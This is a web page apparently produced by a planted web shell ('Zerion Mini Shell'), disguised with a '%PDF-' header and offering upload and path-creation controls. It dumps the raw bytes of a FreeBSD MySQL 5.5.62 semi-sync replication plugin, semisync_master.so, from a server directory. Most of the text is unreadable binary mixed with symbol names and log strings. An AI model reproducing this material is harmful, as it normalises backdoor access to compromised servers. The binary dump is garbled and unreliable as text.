%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/rs/mysql/default/lib/mysql/plugin/
Upload File :
Create Path :
Current File : /home/rs/mysql/default/lib/mysql/plugin/semisync_master.so

ELF	>]@X@8
@@@@00MMM]]p5p5000((```Xp
hhhRtd000((Ptd@C@C@CQtdpppFreeBSD
 !"/I+2DLZdpz







*b



0u
 m9!

d

 o9
:
~;	м


H

{k
lQ	
ؼJ
Pn(o

ж
4
aaL
	@|
4g
_
`gN70
@^.
p_Z
hIP
p
Prx0	ȼSԶtضT
4
4A
qz
{{	
(
4f"
`
4
`m
vW	0
4A
pV
@^.i
`o
 T
t0
	:
T
 e3.
Pn* 
@sp
p%
(
#
pa*	h
g
k
r2
Pp
`gNP
8|
p_Z
Ѐ8
 
 (z
(z
0%	F (! @@$&@`P"@(@@	"
H @$ H
HD8I047;AEHJNW^`eglnpuw~Tԩ<yL.b*R #JQRH@r/g0R/0ޏpoTI)P/JAX@<Vz	nޏ_ÞSaBH?pHvxǙYaRN~{`$VrZLtݒR{mʩzqE`SnP󎪺öZ\OϮ]U 0TuaB(?o
_ޏ,\>覯	莩lG'<A> Bgɖ2YjޏrژDupA}4*>G=9vzKYnH]{\c~hWraX/7OsC|3[V'
LItle&wT`k^qgxBdym_ 
b(S5.o,8Mui"$:J120?!QZ6U)#FR	E;D-<f@N%Pj+_fini_init_Jv_RegisterClasses__cxa_finalize_ZN16ReplSemiSyncBase11kSyncHeaderE_ZN16ReplSemiSyncBase15kPacketFlagSyncE_ZN16ReplSemiSyncBase15kPacketMagicNumE_ZN5Trace12kTraceDetailE_ZN5Trace13kTraceGeneralE_ZN5Trace13kTraceNetWaitE_ZN5Trace14kTraceFunctionEPSI_server_Z15sql_print_errorPKcz_Z17sql_print_warningPKcz_Z21sql_print_informationPKcz_ZN11ActiveTranx14get_hash_valueEPKcy_ZN11ActiveTranx16is_tranx_end_posEPKcy_ZN11ActiveTranx17insert_tranx_nodeEPKcy_ZN11ActiveTranx24clear_active_tranx_nodesEPKcy_ZN11ActiveTranx7compareEPKcyS1_y_ZN11ActiveTranxC1EP14st_mysql_mutexm_ZN11ActiveTranxC2EP14st_mysql_mutexm_ZN11ActiveTranxD1Ev_ZN11ActiveTranxD2Ev_ZN18ReplSemiSyncMaster10initObjectEv_ZN18ReplSemiSyncMaster10switch_offEv_ZN18ReplSemiSyncMaster11resetMasterEv_ZN18ReplSemiSyncMaster12enableMasterEv_ZN18ReplSemiSyncMaster12remove_slaveEv_ZN18ReplSemiSyncMaster13cond_timewaitEP8timespec_ZN18ReplSemiSyncMaster13disableMasterEv_ZN18ReplSemiSyncMaster13try_switch_onEiPKcy_ZN18ReplSemiSyncMaster14cond_broadcastEv_ZN18ReplSemiSyncMaster14readSlaveReplyEP6st_netjPKc_ZN18ReplSemiSyncMaster14setExportStatsEv_ZN18ReplSemiSyncMaster16updateSyncHeaderEPhPKcyj_ZN18ReplSemiSyncMaster17reportReplyBinlogEjPKcy_ZN18ReplSemiSyncMaster17reserveSyncHeaderEPhm_ZN18ReplSemiSyncMaster18is_semi_sync_slaveEv_ZN18ReplSemiSyncMaster18writeTranxInBinlogEPKcy_ZN18ReplSemiSyncMaster4lockEv_ZN18ReplSemiSyncMaster6unlockEv_ZN18ReplSemiSyncMaster9add_slaveEv_ZN18ReplSemiSyncMaster9commitTrxEPKcy_ZN18ReplSemiSyncMasterC1Ev_ZN18ReplSemiSyncMasterC2Ev_ZN18ReplSemiSyncMasterD1Ev_ZN18ReplSemiSyncMasterD2Ev_ZN18TranxNodeAllocator17free_nodes_beforeEP9TranxNode_ZdaPv_ZdlPv_Znam_Znwm__assert__stderrpfprintfget_user_var_intkey_ss_cond_COND_binlog_send_key_ss_mutex_LOCK_binlog_max_connectionsmemsetmy_fast_mutexattrmy_freemy_getsystimemy_mallocmy_net_readnet_clearnet_flushpthread_cond_broadcastpthread_cond_destroypthread_cond_initpthread_cond_timedwaitpthread_mutex_destroypthread_mutex_initpthread_mutex_lockpthread_mutex_unlockrpl_semi_sync_master_avg_net_wait_timerpl_semi_sync_master_avg_trx_wait_timerpl_semi_sync_master_clientsrpl_semi_sync_master_enabledrpl_semi_sync_master_net_wait_numrpl_semi_sync_master_net_wait_timerpl_semi_sync_master_no_transactionsrpl_semi_sync_master_off_timesrpl_semi_sync_master_statusrpl_semi_sync_master_timefunc_failsrpl_semi_sync_master_timeoutrpl_semi_sync_master_trace_levelrpl_semi_sync_master_trx_wait_numrpl_semi_sync_master_trx_wait_timerpl_semi_sync_master_wait_no_slaverpl_semi_sync_master_wait_pos_backtraverserpl_semi_sync_master_wait_sessionsrpl_semi_sync_master_wait_timeoutsrpl_semi_sync_master_yes_transactionsstrcmpstrcpystrlenstrncpythd_enter_condthd_exit_condTHR_THD_ZN16Diagnostics_area22reset_diagnostics_areaEv__cxa_atexit_mysql_plugin_declarations__mysql_plugin_interface_version__mysql_sizeof_struct_st_plugin_pthread_getspecificregister_binlog_storage_observerregister_binlog_transmit_observerregister_trans_observerrepl_semi_after_send_eventrepl_semi_before_send_eventrepl_semi_binlog_dump_endrepl_semi_binlog_dump_startrepl_semi_report_binlog_updaterepl_semi_report_commitrepl_semi_report_rollbackrepl_semi_request_commitrepl_semi_reserve_headerrepl_semi_reset_masterrepl_semisyncsemi_sync_master_pluginstorage_observertrans_observertransmit_observerunregister_binlog_storage_observerunregister_binlog_transmit_observerunregister_trans_observerlibthr.so.3FBSD_1.0libc.so.7libc++.so.1libcxxrt.so.1libm.so.5X^```	< 1@P9(;@=HX>p"B99,;зN@طp6@t@p%A PX`hH:8<9ȸиPX7xB<BЍȹO8й#: @ 7?P6X9hP X@(h0&338ȶ9(:>?إ@@BCDEG`HPHIJSPTpTW8Xx[[H\\]0^`Хc0cȥdxde8fij@kl`lmPo pqrxstv8vH}pp	Ⱥкغ" #K_ 
(08P@yHP
X`ahpxn1!$Ȼлhػ4%FR7b z({0Y8<@ZH)PX'`;hxp,x*+/-.Q|( @0C0E0C0ECSemi-sync replication initialized for transactions.ReplSemiSyncMaster::cond_timewait()ReplSemiSyncMaster::reportReplyBinlogReplSemiSyncMaster::updateSyncHeaderSemi-sync master failed on net_flush() before waiting for slave replyReplSemiSyncMaster::writeTranxInBinlog%s: Wait for replica's replyswitch_offRpl_semi_sync_master_net_wait_timetrace_levelStop %s binlog_dump to slave (server_id: %d)%s: insert (%s, %lu) in entry(%u)Replication semi-sync getWaitTime fail at wait position (%s, %lu)No enough space in the packet for semi-sync extra header, semi-sync replication disabledwriteTranxInBinlog%s: Got reply at (%s, %lu)%s: Got reply (%s, %lu)LOCK_binlog_%s: transaction node allocation failed for: (%s, %lu)unregister_replicator OKreadSlaveReplyrpl_semi_sync_mastertimeoutSemi-sync replication disabled on the master.ReplSemiSyncMaster::switch_offRead semi-sync reply magic number error%s: Binlog reply is ahead (%s, %lu),ReplSemiSyncMaster::try_switch_onRpl_semi_sync_master_yes_txdisableMaster%s: init wait position (%s, %lu),ReplSemiSyncMaster::reserveSyncHeaderRpl_semi_sync_master_tx_wait_timeThe tracing level for semi-sync replication.Semi-synchronous replication masterRpl_semi_sync_master_wait_pos_backtraverseThe timeout value (in ms) for semi-synchronous replication in the masterActiveTranx:insert_tranx_nodeActiveTranx::::clear_active_tranx_nodes%s: cleared all nodesSemi-sync failed to insert tranx_node for binlog file: %s, position: %luRpl_semi_sync_master_no_txRpl_semi_sync_master_tx_waits%s: binlog write out-of-order, tail (%s, %lu), new node (%s, %lu)%s: move back wait position (%s, %lu),ReplSemiSyncMaster::readSlaveReplyRead semi-sync reply network error: %s (errno: %d)Rpl_semi_sync_master_status%s: probe (%s, %lu) in entry(%u)active_tranxs_ != NULL%s: server(%d), (%s, %lu) sync(%d), repl(%d)He ZhenxingenabledcommitTrxupdateSyncHeader(unsigned char)event_buf[1] == kPacketMagicNum<--- %s exit (%d)unregister_trans_observer failedRpl_semi_sync_master_wait_sessions%s called twice
%s: wait pos (%s, %lu), repl(%d)
Timeout waiting for reply of binlog (file: %s, pos: %lu), semi-sync up to file %s, position %lu.ActiveTranx::is_tranx_end_pos%s: wait %lu ms for binlog sent (%s, %lu)Rpl_semi_sync_master_no_timesSemi-sync replication switched ON with slave (server_id: %d) at (%s, %lu)semi-syncReplSemiSyncMaster::initObjectReplSemiSyncMaster::commitTrxRead semi-sync reply length error: %s (errno: %d)Start %s binlog_dump to slave (server_id: %d), pos(%s, %lu)Wait until timeout when no semi-synchronous replication slave available (enabled by default). !getMasterEnabled() || !active_tranxs_->is_tranx_end_pos(trx_wait_binlog_name, trx_wait_binlog_pos)asynchronousunregister_binlog_storage_observer failedRpl_semi_sync_master_clientsRpl_semi_sync_master_tx_avg_wait_timeRpl_semi_sync_master_net_waits---> %s enterwait_no_slaverpl_semi_sync_slaveSemi-sync master wait for reply fail to get wait time.unregister_binlog_transmit_observer failedRpl_semi_sync_master_net_avg_wait_time/home/rs/dist/mysql/mysql-5.5.62/plugin/semisync/semisync_master.ccreportReplyBinlog%s: cleared %d nodes back until pos (%s, %lu)Semi-sync replication enabled on the master.Waiting for semi-sync ACK from slaveRpl_semi_sync_master_timefunc_failuresSemi-sync replication switched OFF.ReplSemiSyncMaster::resetMastersemisync%s: signal all waiting threads.Read semi-sync reply binlog file length too largeCOND_binlog_send_Enable semi-synchronous replication master (disabled by default). ;7000X` ! $8p$X%'`)) *0+`+ ,--.@/`1278;H=x@0B D0E`E0pEPExEPFFFG0GXGxPHHI@I	pI(	IH	Ih	J	0J	`J	J	J
K(
@KH
zRx$.AC
F$D ZAC
CR$lXAC
F$*AC
Cb,aAC
MO,
AC
M,3AC
JA$LAAC
Ft NAC
I$!AC
G,!IAC
M A,$AC
M?A,x%AC
IhAL%9AC
Bn,l%AC
FA,&AC
CEDH'9AC
Bn,h'AC
MA,((AC
KA,L(AC
KA|)2AC
m,)AC
MA,X,AC
JA,,AC
PA$,1AC
K,T2AC
MA,05AC
MA,7AC
POA,9AC
MA,P;AC
KA$D >%AC
XECl(>AC
C$>(AC
[EC$ >(AC
[EC$(>tAC
Gh$>TAC
CL,>#AC
B\L>AC
T$l>sAC
Fh ?AC
V$ ?AC
F$?AC
BiA@0AC
Bi$ @0AC
BiD0@0AC
Bid@@0AC
BiP@0AC
Bi`@0AC
Bip@0AC
Bi@0AC
Bi@0AC
Bi$@EAC
B~D@$AC
_d@,AC
g$@1AC
BfUHSPH=JGtH=XD1HeEf.HHHHrHH[]@UHH=GtH=*Et
H=!E]0]UHAWAVSPHHHFD8DDGWGHG HG(EDHHwPMcLHHHAC00HC@EDHHVHЃHVH1Hs@HDHs@HDHs@HDHs@HD HH9Hf.HS@HHHuH=1H[A^A_]/fUHAVSIH@Ht/IF@AFHI~H f.H/AF,HHu[A^]fDUHAWAVSPHIIH/tuucxqI؉ƃ޹σ?A߉1ω?уA_Iى1uLètȃ?AЉ1II8II0II(II AAӍ4?1փ?
Ɖ1։?
Alj1Ѓ?A1Љƒ?A1‰Ѓ?A1׉?AЉ11AvHH[A^A_]UHAVSIHH.uL9w[A^]fDUHAWAVAUATSH(HUIIHnCL(L/tH=H51q-Mw AG(LuII_ AG(H!1-HtHHItFIGDMw MtAG(H=H5LHM1O-M/j|IGHI_I_ AG,AG(LmȃAG(HLiN,3IBD3WB3JDŽ3LL,BƄ3LMN3Mg8I0tBLeM$$I$HELL{,LMHMIHEIG0M,$L(LLLM|,IO@H4J3L,H
AH	It"H=LH51LLA1+511LMHML9{H=H5LM1+LmM/tH=H51`+H([A\A]A^A_]f.DUHAWAVAUATSHIIIH@HHEHtH=OH51*LLLp+AIF@DHH5DEHHt)LHL*M9u݅uAE1H]E1H]DEIH
n@HtH=OH5LL1f*IHtAH=H51E*DH[A\A]A^A_]UHAWAVAUATSPIHIH?HHEHtH=BH521)HMf0MMM9w!MMLH)t~M9+E1 DHHHAM94LI$M$LH)IV@HHtH9tHHHtH9uHI~@IcVHH1)IFIF AF(HtUHHtMHHt6AVA9V,v,fHH(AFAN,AN,Ht9wIF HHHuHIFI~0t
IF0WHw>HItH=H51r(HEItH=H511R(1H[A\A]A^A_]Mn0I~L(H>HItIN0LH=bH5CD1'f.UHfG8HLJ@fLJHHLJPWGƇhHLJpƇx]fUHAWAVATSt*Hx=H8H5lH1 (AHGHO=HHpHF=HHHOHtHLs(L%1=I$HtH)=8LQ(1HC0H5=L'L{I$HtH=8LQH1HC E1L1'H<8t
H'H'D[A\A^A_]f.DUHAWAVAUATSHHILw(L%y<I$HIw0HH}1HHI$H50HߺL'I$H߉AhrX'HIHH;D(DDCWCHC HC(EDkHLsPMcLHHHAC0w%HC@EWADHBHHUHHHڹHs@HHs@HDHs@HDHs@HDH4
HHHutHؐHS@HHHuH=1$I_AƇXAG8AƇHAƇhAƇxH=1$L%:I$HtI0HtL%1HH[A\A]A^A_]LV%AhuFUHAWAVAUATSHHILw(L%):I$H%Iw0HH}1HHI$H5HߺL$I$H߉AhL$MoMI}@Ht#IE@AEHI}HH#AE,HHuL$IGAG8AƇHAƇXAƇhH=.1 #I$HtI0HtL $1HH[A\A]A^A_]L#Ah(H=H5H
$UHAWAVSHHLw(L=8IHtVHw0HtMH}1Ht<HIH5eHߺLS#IH߉HH[A^A_]L2#UHSPHH(8HHtH{0HtH(HH[]#UHAWAVSPHH7L8L?tH=H51!ƃxH{H11#H
7HAƃHC8H={1{!H|7HHtH{ HtH{"L;tH=H5vD17!DH[A^A_]H=7H5H
#Z"f.UHAVSHtQL56IHtH{0HtP0HC0H{(D"IHtH{ HtPPHC H{/"LsMtWI~@Ht IF@AFHI~H f.Hx AF,HHuL[A^]![A^]f.UHSPHH(6HHtH{ HtHHH[]g!UHAWAVAUATSHXIIH5L L'tH=H51L-5I]HIw HIW0H}HtsHIEH5jHߺ@IIw(L AHtIEHDHM'tH=H5AD1DHX[A\A]A^A_]1DUHAWAVATSHPILw(L%4I$HIw0Ht|H}1HtkHI$H5HߺLI$H߉H4HI$HtI0HtL~HP[A\A^A_]LIUHAWAVATSHPILw(L%+4I$HIw0HH}1HHI$H5HߺLI$H߉H
3HHHAht#AxtHuH38uLI$HtI0HtLHP[A\A^A_]LNf.fUHHHEH=HuHUH}H]f.@UHAWAVAUATSHhùhhIIHH2HHEHtH=H51HC(HEH2HH-Hs0H Hx1HIL-l2IEH5ULH}BIMLhxt{8uBHߋuLL{8t+Hs9L@L+tygM9r	M9xYH{9LL@C8H{HdLLH1HHtH=H5LL1zH1H8t&H{9L@HILPt0y7HH1HHtH{0HtH}@M9wxƃHH
1HHtH{0HtH}H0HHtH=H51H0HHtH{ HtH{HEHtH=H511w1Hh[A\A]A^A_]H}]h*H=H59H
,3|f.fUHAWAVAUATSPII׉uHH/L(L/tH=3H51XtYHYL`Lt1y;L+tH=GH5I111H[A\A]A^A_]M9r	M9xƃxH=ZuLL1bL+uf.UHAWAVAUATSHHUIHH/L L'tH=_H5p1hM^VLeHBzՔHEHHULc(H.IHHNHs0HAH81H)IIH5LLwILHsH
1LDHEhYxLH.HHEHt/H=H5pLHMA1x
HUHHi€H}HH)HkdHEHC9HELIHi@BɾHH#HHMH-HHEHkdHi6eHH6eHEHUHBHEL--IfL@H=sLHUHM1@H-HH]x6{8t+L@H}LGuL;uHtLLt7~BLLHEHPƃHHEHt]H=?HEH9PrFLLXHEHPH,HHEHtH=H5LHM1MHpHi@BHEHH}H=ʚ;r.HuHH	HSZ/DHHHEH<Hi6eHIEH8H@HEHt"LPH=tH5(HL1HH8IEDHHBzՔHHHi€H)Hi@BHH#HH+MrȅxH
+HH
+HHEHtH=˼LHU1H+HHEHtH={H5SHUL1htH{LHUuixLeu	H9+H8+H1HuL#tH=-H5111HĨ[A\A]A^A_]LiH=H5RH
DUHAWAVATSHIIIH*HHtH=UH51HEH=THuHUH}t!Iw%H=E11L;E1Iu1H?*fAAItH=.H5D1DH[A\A^A_]DUHAWAVAUATSHxHMЀhDIIIHDžhH=HhHUHhJ]H(HHEItH=8H5T1IG(HEH(HHIw0HHh1HjHL%(I$H5HߺH}{I$H߉Ah8Axt A8tnIw9LtMZAXLIYM`LMuL;mrL9mAtHEI9@AHt*IIIPLuH;]r
H9]x)IHLLHUALALE1H]'HItMEAx$H=dH5ULLE1?H}4AhLE1H!'HHtI0HtH}EtH'CHEItH=pH57111Hx[A\A]A^A_]H=H5H
UHAWAVAUATSHXHUHuIHM&L(L/tH=H5(1PMw(L%M&I$HIw0HsH}1H^HI$H5HߺLI$H߉AhLMYAXtH}Lt2=_LHuAƇXHEI`AƇX1HEI9`s$LHuAƇXHEI`AxIt<IHHuHUgtH=HuHU1
L5I$HtI0HtLM/tH=qH5111HX[A\A]A^A_]LAhH=ҶH5H
UHAWAVAUATSH8HˉUIIL'H6$HHELtH=H515DsH$D:0eCH
$1:L}H$HLt>HHBzՔHHHi€H)Hi@BHEALI#	E11HELtH=+1
L};L1Hb#HHELtH=_H5ù1Y
LLHEH]LHHBzՔHHHi€H)Hi@BHH#HH)ڸC…xH
#HH
#H=J10
H
<#HHEHXHr!IAHL}t8H=
6Iu D86L}uHr`H=ۿH=1H=1HEItH=عH510H8[A\A]A^A_]LnH	HHuƄLetH=WH5LHL1HLuLClH=H5H
&f.UHAWAVAUATSHHIHU!L L'tH=H5|1XMw(L-U!IEHQIw0HDH}1H/HIEH5HߺLIMH߉AhAxAƇHAG8AƇXHI!HH3!HH HH!HH HH HH HH HH!HH HIEHtI0HtL<M'tH=H5&11
1HH[A\A]A^A_]L
fUHAWAVATSHPILw(L%I$HIw0HH}1HHI$H5HߺLp
I$H߉AxH
 HHHHtrHf(
ծf(f\f(fXfHnfbf\f(fX^Ůf(\H,H1H,f.HC1HH
H
cH	HtrH\f(
Hf(]f\f(fXfHnfbf\f(fX^8f(\H,H1H,f.HC1H
HI$HtI0HtL-	HP[A\A^A_]LUHAWAVSPHOLGIAH9IHQHH9H!HH91HE1H9IGHIIWHMt~IHtvHHt3AA9G$v*HHuAAO$AO$Ht9wMGIHHu3IIG'HGH9wH!H9fHH?H9uDH[A^A_]UHHht
H=]O	1]f.UH1]UHGtHWHtHwH=Z]	1]UHGtHWHtHwH=*]1]UHAWAVATSIIHH=t(L%L3LLL}H5(H5H=LM11[A\A^A_]f.fUHAVSIH=ZHӴH5DHEAH=٬1tH=PC1[A^]f.fUHSPHH=(+HH1H[]f.UHLDH=HH]UHAWAVSPIIH=tFH8HH`AH=LH$uƃe1H[A^A_]f.UHH=]1Ʌ]DUHAWAVSPIHdHHt-L=H5F.LHH5R.LPH=[u<H=LSu)H=LPuH=LM1ۅÉH[A^A_]fUHSPHH=H(t	H=G6H=Ht	H=8H=pHtH=1H[]H=11@f.@UHSPHH=CHHC1H[]UHSPHH=CHHC1H[]UHSPHH=kCHHC1H[]UHSPHH=h;CHHC1H[]UHSPHH=8CHHC1H[]UHSPHH=CHHC1H[]UHSPHH=CHHC1H[]UHSPHH={CHmHC1H[]UHSPHH=xKCH]HC1H[]UHSPH;tH=;>tH=&9tH[]f.UHHHHHH
Hp]f.fUHHHHHH
HHIHtH]@UHSPHH{H=H'HH[]oUHSPHcHHHHrHH[]HHHH5+%+@%+h%+h%z+h%r+h%j+h%b+h%Z+h%R+hp%J+h`%B+h	P%:+h
@%2+h0%*+h %"+h
%+h%+h%
+h%+h%*h%*h%*h%*h%*h%*hp%*h`%*hP%*h@%*h0%*h %*h%*h%*h%*h %*h!%z*h"%r*h#%j*h$%b*h%%Z*h&%R*h'p%J*h(`%B*h)P%:*h*@%2*h+0%**h, %"*h-%*h.%*h/%
*h0%*h1%)h2%)h3%)h4%)h5%)h6%)h7p%)h8`%)h9P%)h:@%)h;0%)h< %)h=%)h>%)h?%)h@




H$h
	o2.@
o(X
ooo8h  '   h&6FVfvƏ֏&6FVfvƐ֐&6FVfvƑ֑&6FVfvƒ֒&FreeBSD clang version 11.0.1 (git@github.com:llvm/llvm-project.git llvmorg-11.0.1-0-g43ff75f2c3fe)Linker: LLD 11.0.1 (FreeBSD llvmorg-11.0.1-0-g43ff75f2c3fe-1300007)$FreeBSD$.shstrtab.note.tag.dynsym.gnu.version.gnu.version_r.gnu.hash.hash.dynstr.rela.dyn.rela.plt.rodata.eh_frame_hdr.eh_frame.text.init.fini.plt.ctors.dtors.jcr.init_array.dynamic.got.data.got.plt.bss.commentpp0o+o@:o(D((J@@RBH$H$h
\B..f244mn@C@C|EE]M,1~~ 00@@PPXXhh@``8 0j

Zerion Mini Shell 1.0